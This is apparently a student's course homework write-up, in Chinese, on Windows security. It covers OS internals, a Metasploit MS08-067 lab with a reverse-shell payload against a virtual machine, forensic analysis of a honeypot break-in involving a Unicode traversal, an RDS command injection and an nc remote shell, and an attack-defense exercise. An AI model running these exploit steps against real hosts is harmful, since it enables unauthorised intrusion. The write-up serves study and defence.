20199308 2019-2020-2 《网络攻防实践》第7周作业

目录
  • (:」∠)_
  • 一、实践内容
    • 1、Windouws操作系统基本框架
    • 2.Windows操作系统的安全体系结构与机制
    • 3.Windows远程安全攻防技术
    • 4.Windows本地安全攻防技术
  • 二、实践过程
    • 动手实践:Metasploit Windows Attack
    • 实践作业1:取证分析实践:解码一次成功的NT系统破解攻击
    • 实践作业2:团队对抗实践:Windows系统远程渗透攻击与分析
  • 三、实验总结

(:」∠)_

  • 此作业所属课程:2019-2020-2-1991&1993《网络攻防实践》
  • 本次作业要求:第七次作业 Windows操作系统安全攻防
  • 课程目标:学习网络攻防实践
  • 本次作业在哪个方面帮助我实现目标:第七章 windows操作系统安全攻防

一、实践内容

1、Windouws操作系统基本框架

20199308 2019-2020-2 《网络攻防实践》第7周作业_第1张图片

  • Windows操作系统的基本结构示意图
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第2张图片

  • Windows操作系统内核的基本模块:

基本模块 作用
windows执行体 即Windows内核核心文件ntoskrnl.exe的上层接口,包含基本的操作系统内核服务,如进程与线程管理、内存管理、I/O管理、网络连接、进程间通信,以及安全服务。
Windows内核体 即Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能,如线程调度、中断和异常分发处理、多处理器同步机制等,同时也提供了一组内核例程与基本对象,以帮助执行体来实现高层次的功能服务。
设备驱动程序 包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序,以及文件系统与网络设备驱动程序。该部分支持通过数字签名认证的第三方硬件厂商的硬件设备驱动程序加载进入内核执行。
硬件抽象层 即hal.dll文件,是用于屏蔽Windows内核与平台硬件差异性的底层代码。
Windows窗口与图形界面接口内核实现代码 即win32k.sys文件
  • Windows操作系统在用户的代码模块:
代码模块 作用
系统支持进程 Windows开机自动启动的系统内建服务进程,如负责登录用户身份认证的logon进程、会话管理进程等。
环境子系统服务进程 为操作系统运行环境提供支持的服务进程,Windows XP只支持Windows环境子系统,而符合POSIX标准的环境子系统则作为UNIX产品的免费服务所提供。
服务进程 通过Windows的服务管理机制所启动的一系列系统及网络服务,如Task Scheduler任务管理器服务,Microsoft SQL Server 网络服务等。
用户应用软件 在用户态执行的各类用户应用软件。
核心子系统DLL 作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。
  • Windows进程和线程管理机制
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第3张图片

  • span style="color:#800080"> Windows内存管理机制
    对于32为Windows系统而言,2GB~4GB区间为系统核心内存,0GB~2GB区间为用户态内存。

    • 系统核心内存用于映射内核、HAL、Win32k.sys等内核执行模块,并存储内核内存对象,对于用户态程序是无法直接访问的,但对于在内核中运行的特权代码,则可通过DKOM技术来进行枚举和操纵。
    • 用户态内存中包含用户程序的代码段、数据段,并对每个线程对应有一个栈和一个堆。
  • Windows文件管理机制

    • NTFS文件系统基于ACL访问控制列表来保证文件资源读/写的安全性,较FAT更加安全,此外具有更高的性能、可靠性和磁盘利用效率。
    • Windows上的可执行文件采用PE格式,其结构如下图,主要由DoS头,PE头,分段表,以及具体的代码段,数据段等组成。
      20199308 2019-2020-2 《网络攻防实践》第7周作业_第4张图片
  • Windows注册表管理机制

注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。

  • Windows的网络机制

    • Windows网络组件模块:
组件模块 作用
网卡硬件的设备驱动程序 由第三方硬件厂商开发并提供,处于OSI参考模型的物理层
NDIS库即miniport驱动程序 位于OSI链路层,为各种不同的网卡适配器驱动程序和TDI传输层之间构建了一个封装接口。
TDI传输层 通常成为网络协议驱动,对应OSI网络层与传输层,实现了TCP/IP、NetBEUI、IPX等协议栈,接受上层TDI客户端的IRP请求,并调用NDIS库中提供的网卡适配器驱动程序功能进行网络传输。TDI传输层通过透明地进行如分片与重组、排列确认与重传等一系列消息操作,为上层网络应用提供了便捷的支持。
网络API DLL及TDI客户端 会话层和表示层,独立于具体协议提供网络交互和实现方式。
网络应用程序与服务进程 对应OSI应用层,通常使用各类网络API DLL来实现网络交互与通信功能。

20199308 2019-2020-2 《网络攻防实践》第7周作业_第5张图片

2.Windows操作系统的安全体系结构与机制

  • Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。
20199308 2019-2020-2 《网络攻防实践》第7周作业_第6张图片

  • Windows身份认证机制

    • Windows系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。
    • Windows为每个用户和计算机设置账户进行管理,作为这些安全主体运行程序代码的执行环境,而账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
    • Windows身份认证机制实现原理:
      20199308 2019-2020-2 《网络攻防实践》第7周作业_第7张图片
  • Windows授权与访问控制机制

    • Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,对象安全描述符由如下主要属性组成:
属性 作用
Owner SID 对象所有者的SID安全标识符
Group SID 对象所在基本用户组的SID安全标识符
DACL自主访问控制列表 指明了哪些安全主体可以何种方式来访问该对象
SACL系统审计访问控制列表 指明了由哪些主体发起的哪些访问操作需要被审计
  • Windows安全审计机制

    • LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
    • 安全中心还具有防火墙、补丁自动更新、病毒防护机制。
    • IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。

3.Windows远程安全攻防技术

  • Windows远程攻击技术的分类

    • 远程口令猜测与破解攻击
    • 攻击Windows网络服务
    • 攻击Windows客户端及用户
  • 针对特定目标的渗透测试攻击过程

    • 1、漏洞扫描测试
    • 2、查找针对发现漏洞的渗透代码
    • 3、实施渗透测试
  • 使用Metasploit软件实施渗透测试

    • Metasploit软件采用开发框架和模块组件的可扩展模型,软件结构图如下(盗孙启龙童鞋的一张图)
      20199308 2019-2020-2 《网络攻防实践》第7周作业_第8张图片
    • 模块组件是真正实施渗透攻击的代码,包括:
模块 作用
Exploits 利用安全漏洞
Auxiliary 进行扫描、查点等其他辅助任务
Payloads 在目标系统上植入和运行Shellcode攻击负载
Encoders 对攻击负载进行编码以躲避检测
Nops 对攻击负载进行填充
  • Metasploit常用命令

4.Windows本地安全攻防技术

  • windows本地特权提升

    • 溢出提权、windows错误系统配置、计划任务提权
    • 措施:及时打补丁、及时跟进厂家的安全警告
  • windows敏感信息窃取

    • windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等

    • 措施:使用安全度高、能抵挡破解的口令

  • windows消灭踪迹

    • 关闭审计功能、清理事件日志

    • 措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。

  • 远程控制与后门

    • 向受控主机中植入第三方的远程控制与后门程序
    • 措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。

二、实践过程

实验环境:

虚拟机 IP地址
kali 192.168.200.2
win2kserver 192.168.200.10

动手实践:Metasploit Windows Attack

任务:使用metasploit软件进行windows远程渗透统计实验.
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权.


过程如下

  • 更改win2kserver的网络为NAT模式,IP和DNS设置为自动获取,确保其与kali可以互相ping通
  • 在kali中启动metasploit,执行 msfconsole
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第9张图片
  • 执行 search ms08-067 查看这个漏洞的信息,得到相应模块
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第10张图片
  • 执行 use exploit/sindows/smb/ms08_067_netapi 使用该模块
  • 执行 show payloads 选择攻击负载模块,此处选择(已框出)
  • 执行 set payload generic/shell_reverse_tcp ,查看相关信息;
  • 执行 show options 确定,查看需要修改的参数,
  • 执行 set RHOST 靶机IPset LHOST 攻击机IP 进行设置
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第11张图片
  • 执行 show targets 查看可以选择攻击的系统
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第12张图片
  • 执行 set TARGET 0 设置为自动选取(查看options时,已经默认target为0了)
  • 执行 exploit 发起攻击,攻击成功后,可以看到进入了靶机的命令执行界面,尝试输入 ipconfig 查看靶机IP
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第13张图片

实践作业1:取证分析实践:解码一次成功的NT系统破解攻击

来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
1、攻击者使用了什么破解工具进行攻击
2、攻击者如何使用这个破解工具进入并控制了系统
3、攻击者获得系统访问权限后做了什么
4、我们如何防止这样的攻击
5、你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?


过程如下

  • 解压得到云班课上老师赠送的[email protected]文件,用wireshark将其打开
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第14张图片
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第15张图片
  • 我也不知道该看个啥,于是打开了卡米亚的微博,他说不要方。。。于是 我按照他的操作来了一遍
  • 点开 统计 → HTTP → 请求,得到下图,框出部分应该是攻击代码
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第16张图片
  • 回到主界面,设置限定条件为:ip.addr==172.16.1.106 and http,看到编号117这一行,阅读老师分享的案例分析,得知攻击者在SESSION:1765-80中成功进行了Unicode攻击以打开NT系统启动文件boot.ini,其request为:117这行(注: %C0%AF为’/’的Unicode编码, IIS4.0 和 5.0 存在Unicode Directory Traversal Vulnerability, http://www.securityfocus.com/bid/1806)
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第17张图片
  • 随后,在SESSION:1769-80和SESSION:1770-80中,攻击者探测了/msadc/msadcs.dll的存在,并在SESSION:1771-80 中通过msadcs.dll中存在RDS漏洞(注:MS02-065 漏洞,进行了SQL注入攻击,尝试执行"cmd /c echo werd>>c:\fun"命令。在紧随的SESSION:1772-80 中,攻击者验证其攻击确实成功了。
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第18张图片
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第19张图片
  • 蜜罐主机连接 213.116.251.162 并下载了所指定的这些文件,并通过 nc构建其一个远程shell 通道。
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第20张图片
  • 攻击者连接 6969 端口,获得了访问权,并进入了交互式控制阶段
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第21张图片
  • 当攻击者获得系统的访问权后做了什么?
    通过上述针对 IIS的远程渗透攻击,攻击者获得了IUSER_KENNY 用户账号(IIS启动用户)权限,但显然他并不满足于此,虽然能够通过 MDAC RDS以SYSTEM账号运行任意指令,但攻击者仍然希望获得本地 Administrator 用户权限。
  • 我们如何防止这样的攻击?
    这个攻击事件中被利用的两个漏洞为RDS和Unicode漏洞,两者都已经有相应的补丁,通过打补丁可防止遭受同样的攻击。不要使用 IIS4.x 这样臭名昭著的 Web Server,如果必须使用 IIS4.x,主要的防范措施有:
    1.为这些漏洞打上补丁,
    2.禁用用不着的 RDS 等服务,
    3.防火墙封禁网络内部服务器发起的连接
    4.为 web server 在单独的文件卷上设置虚拟根目录
    5.使用 NTFS 文件系统,因为 FAT 几乎不提供安全功能
    6.使用 IIS Lockdown 和 URLScan 等工具加强 web server
  • 攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
    是的,攻击者绝对意识到了他的目标是作为蜜罐主机的,因为他建立了一个文件,并输入了如下内容 C:>echo best honeypot i've seen till now :)> rfp.txt.
    因为该目标主机作为 rfp 的个人网站, Web 服务所使用的 IIS 甚至没有更新 rfp 自己所发现的 MDAC RDS安全漏洞,很容易让攻击者意识到这绝对是台诱饵。

实践作业2:团队对抗实践:Windows系统远程渗透攻击与分析

攻防对抗实践内容
攻击方:使用metaploit选择漏洞进行攻击,获得控制权。
防守方:使用wireshark监听获得的网络数据包文件,并结合wireshark/snort分析攻击分析攻击过程,获取攻击者IP地址、目标IP和端口、攻击发起时间、攻击利用漏洞、攻击使用shellcode,以及攻击成功后 在本地执行的命令输入等信息。


过程如下

  • 在kali上攻击win2kserver,步骤如第一个实践,在执行exploit 前,打开 wireshark监听:
  • 攻击机向靶机发了许多SMB协议包。而MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的。所以据此可以推断出,是利用这个漏洞攻击的
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第22张图片
  • 在命令行执行ipconfig ,查看wireshark中捕获的包,可以从发出的数据中看到发出的命令:
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第23张图片
    20199308 2019-2020-2 《网络攻防实践》第7周作业_第24张图片

三、实验总结

1、百度ms08_067漏洞的时候,找到了一些可以参考的博客:
https://www.jianshu.com/p/2b3d4534fde0
https://www.cnblogs.com/20145335hh/p/6697635.html
2、 即使看了书和老师发的答案,很多东西也不是很理解,
深深的为大作业和期末考试而担忧,深深的,深深的,深深的。。。/(ㄒoㄒ)/~~

你可能感兴趣的:(20199308 2019-2020-2 《网络攻防实践》第7周作业)